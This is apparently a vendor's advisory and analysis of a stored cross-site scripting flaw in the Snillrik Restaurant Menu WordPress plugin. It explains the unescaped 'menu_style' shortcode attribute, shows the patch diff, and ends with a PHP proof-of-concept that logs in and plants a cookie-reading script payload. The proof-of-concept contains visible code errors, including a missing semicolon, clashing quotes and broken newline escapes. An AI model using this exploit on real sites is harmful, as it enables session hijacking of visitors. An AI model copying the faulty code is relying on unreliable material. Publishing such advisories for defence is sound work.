Atomic Edge analysis of CVE-2025-14112:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Snillrik Restaurant WordPress plugin. The vulnerability exists in the plugin’s shortcode handler, allowing Contributor-level or higher authenticated users to inject malicious scripts that execute when other users view affected pages. The CVSS score of 6.4 reflects the authenticated nature and impact on confidentiality and integrity.
Atomic Edge research identified the root cause as insufficient input sanitization and output escaping for the ‘menu_style’ shortcode attribute. In the vulnerable version (2.3.0 and earlier), the shortcodes.php file at line 39 directly concatenates the user-controlled $menu_style variable into HTML output without proper escaping. The shortcode handler function receives user input via the ‘menu_style’ attribute but fails to validate or sanitize it before use in the page’s DOM structure.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post/page containing the plugin’s shortcode with a malicious ‘menu_style’ attribute payload. For example: [snillrik-restaurant-menu menu_style=”default’>alert(document.cookie)”]. When the page renders, the plugin processes the shortcode and injects the unescaped payload into the class attribute of the containing div element, creating an XSS vector that executes in visitors’ browsers.
The patch in version 2.3.1 addresses the vulnerability through multiple defensive layers. At lines 40-48 in shortcodes.php, the patch adds comprehensive parameter sanitization: $menu_style = sanitize_html_class($menu_style, ‘default’). This restricts the input to valid CSS class characters. Additionally, at line 51, the patch adds output escaping: esc_attr($menu_style) when the variable is echoed into HTML. The patch also sanitizes other shortcode parameters ($orderby, $menuid, $category) and adds escaping for the $cats->slug variable at line 81, demonstrating defense-in-depth improvements.
Successful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of any user viewing the compromised page. This can lead to session hijacking, account takeover, content defacement, or redirection to malicious sites. Since the XSS is stored in the database, the payload persists across sessions and affects all users who visit the injected page, amplifying the impact beyond the initial attack vector.
--- a/snillrik-restaurant-menu/classes/shortcodes.php
+++ b/snillrik-restaurant-menu/classes/shortcodes.php
@@ -37,9 +37,19 @@
$atts
));
+ // Sanitize and validate all parameters
+ $menu_style = sanitize_html_class($menu_style, 'default');
+ $orderby = sanitize_html_class($orderby, 'menu_order');
+ $menuid = absint($menuid);
+ $category = sanitize_text_field($category);
+ $showcategory = filter_var($showcategory, FILTER_VALIDATE_BOOLEAN);
+ $showcatdescription = filter_var($showcatdescription, FILTER_VALIDATE_BOOLEAN);
+ $hideimage = filter_var($hideimage, FILTER_VALIDATE_BOOLEAN);
+ $linktitle = filter_var($linktitle, FILTER_VALIDATE_BOOLEAN);
+
$tags = get_terms(['taxonomy' => 'dishes-tags', 'orderby' => 'count', 'order' => 'DESC', 'hide_empty' => 1, 'exclude' => 7]);
$categories = get_terms(['taxonomy' => 'dishes-category', 'orderby' => 'count', 'order' => 'DESC', 'hide_empty' => 1]);
- $output = '<div class="snillrik_restaurant_menu snillrik_restaurant_menu_' . $menu_style . '">';
+ $output = '<div class="snillrik_restaurant_menu snillrik_restaurant_menu_' . esc_attr($menu_style) . '">';
foreach ($categories as $cats) {
if ($category == '' || $category == $cats->name) {
@@ -48,10 +58,12 @@
if (!isset($custom_fields["_selected_boxes"]))
return esc_attr__("No dishes set", 'snillrik-restaurant-menu');
$sels = explode(",", reset($custom_fields["_selected_boxes"]));
-
+
// Sanitize to ensure all values are positive integers
$sels = array_map('intval', $sels);
- $sels = array_filter($sels, function($val) { return $val > 0; });
+ $sels = array_filter($sels, function ($val) {
+ return $val > 0;
+ });
$sels_prices = [];
if (isset($custom_fields["_selected_boxes_prices"])) {
@@ -67,27 +79,24 @@
'post_type' => "snillrik_lm_dish",
'order' => 'ASC',
'taxonomy' => $cats->taxonomy,
- 'term' => $cats->slug,
+ 'term' => esc_attr($cats->slug),
'orderby' => $orderby
));
- $showcategory = filter_var($showcategory, FILTER_VALIDATE_BOOLEAN);
- $showcatdescription = filter_var($showcatdescription, FILTER_VALIDATE_BOOLEAN);
- $hideimage = filter_var($hideimage, FILTER_VALIDATE_BOOLEAN);
- $linktitle = filter_var($linktitle, FILTER_VALIDATE_BOOLEAN);
- $output .= "<!--cat wrap--><div class='snillrik_restaurant_category_wrap snillrik_restaurant_category_wrap_".$cats->slug."'>";
+
+ $output .= "<!--cat wrap--><div class='snillrik_restaurant_category_wrap snillrik_restaurant_category_wrap_" . esc_attr($cats->slug) . "'>";
if (count($posts_array) > 0) {
if ($showcategory)
$output .= "<h2>" . esc_attr($cats->name) . "</h2>";
if ($cats->description != "" && $showcatdescription)
$output .= "<p>" . esc_attr($cats->description) . "</p>";
}
-
+
$output .= "<!--boxes wrap--><div class='snillrik_restaurant_category_box'>";
foreach ($posts_array as $post) {
$dish_price = isset($sels_prices[$post->ID]) ? $sels_prices[$post->ID] : false;
- $output .= Snillrik_restaurant_dish::dishbox($post, $linktitle, $showingridents, $menu_style, !$hideimage, $dish_price);
+ $output .= Snillrik_restaurant_dish::dishbox($post, $linktitle, $showingridents, $menu_style, $hideimage, $dish_price);
}
$output .= '</div></div><!--boxes wrap cat wrap-->';
--- a/snillrik-restaurant-menu/snillrik-restaurant-menu.php
+++ b/snillrik-restaurant-menu/snillrik-restaurant-menu.php
@@ -4,7 +4,7 @@
* Plugin Name: Snillrik Restaurant Menu
* Plugin URI: https://restaurant.snillrik.com/
* Description: Snillrik Restaurant Menu is a plugin for displaying restaurant menus. It is easy to use and has a lot of features like: categories, tags, prices, multiple menus, multiple locations, multiple languages, responsive, etc.
- * Version: 2.3.0
+ * Version: 2.3.1
* Author: Mattias Kallio
* Author URI: http://www.snillrik.se
* License: GPL2
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14112 - Snillrik Restaurant <= 2.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'menu_style' Shortcode Attribute
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload: XSS via menu_style attribute
$payload = "default'><script>alert('Atomic Edge XSS Test: ' + document.cookie)</script>"
// Create a new post with malicious shortcode
$post_data = [
'post_title' => 'XSS Test Post',
'post_content' => "[snillrik-restaurant-menu menu_style="{$payload}"]",
'post_status' => 'draft',
'post_type' => 'post'
];
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// First, get the login page to obtain nonce/redirect
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/wp-login.php');
$response = curl_exec($ch);
// Perform login (simplified - real implementation needs nonce handling)
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$login_response = curl_exec($ch);
// Check if login succeeded (simplified check)
if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'admin') === false) {
echo "Login failed. Check credentials.n";
exit;
}
// Now create the malicious post
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$result = curl_exec($ch);
if (strpos($result, 'Post published') !== false || strpos($result, 'Post drafted') !== false) {
echo "Exploit successful. Malicious post created with XSS payload.n";
echo "Visit the post to trigger the XSS execution.n";
} else {
echo "Post creation may have failed. Check permissions and site configuration.n";
}
curl_close($ch);
?>